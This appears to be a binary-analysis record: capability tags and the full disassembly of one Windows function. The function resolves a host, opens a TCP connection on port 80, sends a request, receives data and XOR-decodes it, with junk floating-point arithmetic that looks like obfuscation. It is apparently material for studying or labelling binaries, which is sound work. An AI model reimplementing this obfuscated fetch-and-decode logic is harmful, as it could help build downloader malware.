Function at 0x4087c0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket
Set socket configuration

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040cac0
push 0xffffffffffffffff
push 0x41e9eb
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x426070]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
xor ebx, ebx
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], ecx
mov dword [ebp - 4], ebx
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], ebx
mov byte [ebp + 0x1a4], bl
fldz
mov esi, dword [ebp + 0x1448]
mov dword [ebp - 0x3c], ebx
xor edx, edx
mov word [ebp - 0x20], dx
fst qword [ebp - 0x4c]
fldz
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x24], ebx
xor eax, eax
mov word [ebp - 0x18], ax
fst dword [ebp - 0x40]
mov dword [ebp - 0x2c], ebx
fstp dword [ebp - 0x28]
mov byte [ebp + 0x11bc], al
mov eax, esi
fstp qword [ebp - 0x34]
mov byte [ebp - 4], 1
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408870
mov cx, word [0x425928]
sub eax, edx
movsx edx, cx
mov dword [ebp - 0x1c], edx
mov edx, 1
mov edi, eax
fild dword [ebp - 0x1c]
fld qword [0x425f50]
faddp st(1)
fsubr qword [ebp - 0x34]
fstp qword [ebp - 0x34]
add word [0x425928], dx
cmp edi, 0x7f
jg 0x4091d1
fld qword [0x41f8d0]
xor ecx, ecx
fld1
cmp ecx, edi
jg 0x40895c
fld dword [0x42580c]
mov ax, word [0x423504]
cwde
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
faddp st(1)
fcomp st(2)
fnstsw ax
fld dword [0x42580c]
fsub st(1)
fstp dword [0x42580c]
test ah, 5
jp 0x408915
mov ax, word [0x4230f0]
mov bx, word [0x4231ac]
movsx ebx, bx
cwde
sub ebx, eax
sub ebx, 0x112bb49f
mov dword [ebp - 0x1c], ebx
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x34]
add word [0x4231ac], dx
mov al, byte [ecx + esi]
mov byte [ebp + ecx + 0x13bc], al
cmp al, 0x2f
jne 0x408955
fstp st(1)
mov byte [ebp + ecx + 0x13bc], 0
fstp st(0)
mov eax, ecx
fld dword [ebp - 0x40]
fmul qword [ebp - 0x34]
fstp qword [ebp - 0x34]
lea ebx, [ebx]
cmp eax, edi
jg 0x408960
mov bl, byte [eax + esi]
mov edx, eax
sub edx, ecx
mov byte [ebp + edx + 0x11bc], bl
inc eax
jmp 0x408940
add ecx, edx
jmp 0x4088b8
fstp st(1)
fstp st(0)
or ebx, 0xffffffff
add dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
fild dword [ebp - 0x1c]
mov dword [ebp - 0x1c], ecx
fild dword [ebp - 0x1c]
fsub qword [0x423ae0]
fsubp st(1)
call fcn.0040bbe0
mov dword [ebp - 0x3c], eax
lea eax, [ebp + 0x11bc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408991
mov edi, dword [ebp - 0x14]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089a4
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x4089c2
cmp dword [ebp + 0x1b8], 0x10
jmp 0x4091c0
add dword [ebp - 0x38], ebx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
mov eax, edi
mov ecx, edi
fmul dword [0x425f0c]
fstp dword [0x425f0c]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4089e0
lea edi, [ebp + 0x11bc]
sub eax, ecx
mov esi, ecx
add edi, ebx
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4089f3
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
push 0x424c34
rep movsb byte es:[edi], byte [esi]
call fcn.004026c0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a20
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.004083a0
fldz
xor eax, eax
mov dword [esi], eax
xor ecx, ecx
mov word [ebp - 0x18], cx
fstp dword [ebp - 0x14]
mov byte [esi + 4], al
mov edx, dword [0x423bdc]
mov eax, dword [0x424b30]
sub edx, eax
push esi
mov dword [0x423bdc], edx
call fcn.0040b634
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408a70
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408680
mov dx, word [0x4230f0]
mov ecx, dword [0x424b30]
movsx eax, dx
sub ecx, eax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fadd qword [ebp - 0x4c]
call fcn.0040bbe0
push 0x32
mov word [0x425f70], ax
add word [0x4230f0], bx
push 0x425e84
call fcn.004026c0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ad0
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408680
fld qword [ebp - 0x34]
mov dx, word [0x424aa8]
fsub qword [0x41f8c8]
movsx eax, dx
sub eax, 0x115e71a
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fcompp
fnstsw ax
fld qword [ebp - 0x34]
fadd qword [0x41f350]
fstp qword [ebp - 0x34]
test ah, 0x41
jp 0x408b2b
fld dword [0x4257fc]
fsub qword [0x41f8c0]
fstp dword [0x4257fc]
fldz
xor ecx, ecx
push 0x32
push ecx
mov word [ebp - 0x18], cx
fstp dword [ebp - 0x14]
push esi
call fcn.0040bb50
mov edx, dword [0x423bdc]
mov eax, dword [0x424b30]
sub edx, eax
push esi
mov dword [0x423bdc], edx
call fcn.0040b634
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408b64
sub eax, edx
push eax
lea ecx, [ebp + 0x13bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408680
push 5
push 0x425770
call fcn.004026c0
fld dword [0x42317c]
add esp, 8
mov esi, eax
call fcn.0040bbe0
mov word [ebp - 0x18], ax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ba5
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408680
fldz
xor eax, eax
mov dword [esi], eax
xor edx, edx
mov word [ebp - 0x38], dx
fstp dword [ebp - 0x14]
mov byte [esi + 4], al
mov eax, dword [0x423bdc]
mov ecx, dword [0x424b30]
sub eax, ecx
mov dword [0x423bdc], eax
push esi
call fcn.0040b634
fld dword [0x424840]
fadd qword [0x41f350]
add esp, 4
lea edx, [ebp]
push edx
fstp dword [0x424840]
push 0x202
fld dword [0x424840]
fld qword [0x425f48]
fld dword [0x423b7c]
faddp st(2)
fxch st(1)
fsub qword [0x41f8b8]
fsubp st(1)
fstp qword [0x425f48]
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x408c49
cmp dword [ebp + 0x1b8], 0x10
jb 0x4091d1
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x4091c9
mov cx, word [ebp - 0x18]
movsx edx, cx
sub edx, 0x8946f26
mov dword [ebp - 0x14], edx
push 6
push 1
fild dword [ebp - 0x14]
push 2
fstp qword [0x423b88]
call sub.WS2_32.dll_socket
mov esi, eax
mov dword [ebp - 0x1c], esi
cmp esi, ebx
jne 0x408c9c
call sub.WS2_32.dll_WSACleanup
mov eax, dword [0x424be0]
mov ecx, 0xdafc883
sub ecx, eax
cmp dword [ebp + 0x1b8], 0x10
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fstp qword [ebp - 0x34]
jmp 0x4091c0
cmp dword [ebp + 0x1458], 0
je 0x408cbe
push 4
lea eax, [ebp + 0x1458]
push eax
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
lea ecx, [ebp + 0x13bc]
push ecx
call sub.WS2_32.dll_gethostbyname
test eax, eax
jne 0x408cda
cmp dword [ebp + 0x1b8], 0x10
jmp 0x4091c0
mov ecx, 2
mov word [ebp + 0x190], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea edx, [ebp + 0x190]
push edx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, ebx
jne 0x408d3c
cmp dword [ebp + 0x1b8], edi
jb 0x4091d1
mov eax, dword [ebp + 0x1a4]
push eax
jmp 0x4091c9
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408d50
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push 0
push ecx
push eax
push esi
call sub.WS2_32.dll_send
fld qword [0x423b70]
fsub qword [0x41f8b0]
mov esi, eax
call fcn.0040bbe0
mov dword [ebp - 0x24], eax
fld qword [0x423b70]
fadd qword [0x41f350]
fstp qword [0x423b70]
cmp esi, dword [ebp + 0x1b4]
jae 0x408d9b
cmp dword [ebp + 0x1b8], edi
jmp 0x4091c0
mov ecx, dword [ebp - 0x44]
push 0
push 0x41f8a8
call fcn.004083a0
fld1
mov edi, ebx
mov dword [ebp - 0x40], ebx
mov ebx, dword [ebp - 0x44]
fadd dword [0x424bc8]
mov edx, 0x32d727b0
fstp dword [0x424bc8]
mov ax, word [ebp - 0x20]
movsx ecx, ax
sub edx, ecx
add edx, dword [ebp - 0x3c]
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fld dword [0x424bc8]
dec dword [ebp - 0x20]
fsubr qword [0x41f8a0]
inc dword [ebp - 0x3c]
fcompp
fnstsw ax
test ah, 0x41
jne 0x408e04
fld qword [0x423b38]
fsub qword [0x41f898]
fstp qword [0x423b38]
mov ecx, dword [ebp - 0x1c]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
mov ecx, eax
test ecx, ecx
jle 0x409106
fld dword [0x423b7c]
mov edx, dword [ebp - 0x24]
fadd qword [0x41f890]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], edx
add eax, 0x7fad3490
fisub dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov edx, 1
fild dword [ebp - 0x14]
add dword [ebp - 0x2c], edx
fucompp
fnstsw ax
fld dword [0x423b7c]
fadd qword [0x41f350]
fstp dword [0x423b7c]
test ah, 0x44
jp 0x408e7a
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fstp qword [ebp - 0x4c]
add dword [ebp - 0x2c], edx
push ecx
lea ecx, [ebp + 0x1bc]
push ecx
mov ecx, ebx
call fcn.00408680
mov edx, dword [ebp - 0x24]
sub edx, 0xcbcfb27
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fadd qword [ebp - 0x34]
fmul dword [0x425e60]
fstp dword [0x425e60]
fld qword [ebp - 0x34]
fld1
fsub st(1), st(0)
fxch st(1)
fstp qword [ebp - 0x34]
test edi, edi
jge 0x409083
push 5
fstp st(0)
push 0x425770
call fcn.004026c0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408ed1
sub eax, edx
push eax
push 0
push esi
mov ecx, ebx
call fcn.00404cf0
mov edi, eax
mov ax, word [ebp - 0x20]
mov edx, dword [0x4234fc]
dec dword [0x4234fc]
movsx ecx, ax
sub ecx, edx
sub ecx, 0x75478f19
cmp ecx, 0x23de7ec
je 0x408f16
add dword [0x425f14], 0xe25cc5f0
jmp 0x408f65
fld dword [0x42312c]
mov eax, dword [ebp - 0x24]
fadd qword [0x41f888]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsub qword [0x424bd8]
fcompp
fnstsw ax
fld dword [0x42312c]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [0x42312c]
test ah, 5
jp 0x408f63
fld dword [ebp - 0x28]
fadd qword [0x424aa0]
fstp qword [0x424aa0]
fadd dword [ebp - 0x28]
fstp dword [ebp - 0x28]
jmp 0x408f65
fstp st(0)
fldz
xor eax, eax
mov dword [esi], eax
xor ecx, ecx
mov word [ebp - 0x38], cx
fstp dword [ebp - 0x14]
mov byte [esi + 4], al
mov edx, dword [0x423bdc]
mov eax, dword [0x424b30]
sub edx, eax
push esi
mov dword [0x423bdc], edx
call fcn.0040b634
add esp, 4
test edi, edi
jl 0x409081
fld dword [0x41f880]
push ebx
fstp dword [ebp - 0x40]
add edi, 4
call fcn.00406ae0
fld qword [ebp - 0x4c]
fld1
mov ecx, eax
fsub st(1), st(0)
add esp, 4
fxch st(1)
mov dword [ebp - 0x40], ecx
fstp qword [ebp - 0x4c]
fld qword [0x423b38]
fsub dword [ebp - 0x28]
fsub qword [ebp - 0x4c]
fcomp qword [0x41f878]
fnstsw ax
fld qword [0x423b38]
fsub st(1)
fstp qword [0x423b38]
test ah, 0x41
jp 0x40901a
fld qword [0x423530]
fsubr qword [0x41f870]
fcomp qword [0x41f868]
fnstsw ax
test ah, 0x44
jnp 0x40901a
mov dx, word [ebp - 0x20]
movsx eax, dx
mov edx, dword [0x4257e4]
lea eax, [eax + edx - 0x30d8612d]
mov dword [0x4257e4], eax
test ecx, ecx
jge 0x409083
push 0xb
fstp st(0)
push 0x42482c
call fcn.004026c0
mov ecx, dword [ebp - 0x44]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00406900
fld qword [ebp - 0x4c]
mov ecx, dword [0x423ba0]
fsub qword [0x41f860]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
mov ebx, eax
fmulp st(1)
call fcn.0040bbe0
mov dword [0x423ba0], eax
fld qword [ebp - 0x4c]
fadd qword [0x41f350]
push esi
push 0xb
fstp qword [ebp - 0x4c]
call fcn.00401680
add esp, 8
test ebx, ebx
mov ebx, dword [ebp - 0x44]
jge 0x409106
fld1
mov dx, word [ebp - 0x18]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fmul qword [0x423520]
call fcn.0040bbe0
mov ecx, dword [ebp - 0x40]
mov word [ebp - 0x18], ax
fld qword [0x423520]
fsub st(1)
fstp qword [0x423520]
test ecx, ecx
jl 0x4090bd
mov eax, dword [ebx + 0x14]
sub eax, edi
cmp eax, ecx
jae 0x409104
cmp dword [ebp + 0x1458], 0
je 0x408db4
cmp dword [ebx + 0x14], 0x4000
jb 0x408db4
inc dword [ebp - 0x20]
mov cx, word [0x423be4]
mov dx, word [ebp - 0x20]
movsx eax, cx
movsx ecx, dx
add ecx, eax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fsub dword [ebp - 0x28]
fstp dword [0x425f3c]
fsubr dword [ebp - 0x28]
fstp dword [ebp - 0x28]
jmp 0x409106
fstp st(0)
mov edx, dword [ebp - 0x1c]
push edx
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
test edi, edi
jl 0x40913e
mov eax, dword [ebp - 0x24]
mov ecx, 0x213bf59b
sub ecx, eax
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
push edi
push 0
mov ecx, ebx
fmul dword [0x425e70]
fstp dword [0x425e70]
call fcn.00406870
mov dl, byte [ebp + 0x1454]
mov esi, 0x10
test dl, dl
je 0x4091ba
xor eax, eax
nop
cmp eax, dword [ebx + 0x14]
jae 0x40916d
cmp dword [ebx + 0x18], esi
jb 0x409163
mov ecx, dword [ebx + 4]
xor byte [ecx + eax], dl
inc eax
jmp 0x409150
xor byte [ebx + eax + 4], dl
lea ecx, [ebx + 4]
inc eax
jmp 0x409150
mov dx, word [ebp - 0x20]
movsx eax, dx
mov ecx, 0x6238056f
sub ecx, eax
cmp ecx, 0x8a4eebc2
jge 0x4091ba
inc word [0x423120]
mov eax, dword [0x425784]
mov dx, word [0x423120]
dec dword [0x425784]
movsx ecx, dx
add eax, 0x7eb5c1cf
cmp eax, ecx
jne 0x4091ba
fld dword [0x42575c]
fadd qword [0x41f858]
fstp dword [0x42575c]
cmp dword [ebp + 0x1b8], esi
jb 0x4091d1
mov edx, dword [ebp + 0x1a4]
push edx
call fcn.0040b18a
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040bbca
add ebp, 0x1440
mov esp, ebp
pop ebp
ret